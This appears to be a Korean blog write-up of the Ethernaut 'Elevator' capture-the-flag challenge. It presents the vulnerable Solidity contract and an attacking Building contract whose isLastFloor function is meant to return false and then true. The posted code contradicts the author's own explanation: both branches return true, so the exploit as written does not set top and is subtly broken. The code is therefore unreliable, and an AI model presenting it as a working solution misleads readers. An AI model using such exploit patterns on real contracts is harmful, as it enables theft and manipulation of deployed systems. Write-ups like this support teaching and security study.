[ethernaut] Elevator

wooz3k.eth·2022년 12월 29일
0
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

이 문제는 Building interface에 맞게 구현된 Building 컨트렉트에서 goTo(uint256) 함수를 호출하여 toptrue가 되도록 만들어야하는 문제이다.

toptrue가 되려면 if (! building.isLastFloor(_floor)) 부분을 보면 isLastFloor(uint256)의 리턴값이 false가 되어야하고, if문 안에 top 값을 결정짓는 isLastFloor(uint256)true가 되어야한다.

즉, isLastFloor(uint256)은 처음 리턴 값은 false 두번 째 리턴 값은 true가 되도록 구현하면 된다.

다음과 같은 Building 컨트렉트를 구현하여 문제를 풀었다.

contract Building {
    Elevator public target = Elevator(0x47d827fC7C50229582Df77B9e6f701BEB8aa8436);
    uint256 public ch;

    function isLastFloor(uint) external returns (bool)
    {
        if(ch==1)
        {
            return true;
        }
      	else
        {
          ch+=1;
          return true;
        }
    }

    function atk() public
    {
        target.goTo(1);
    }
}
profile
Theori ChainLight Web3 Researcher

0개의 댓글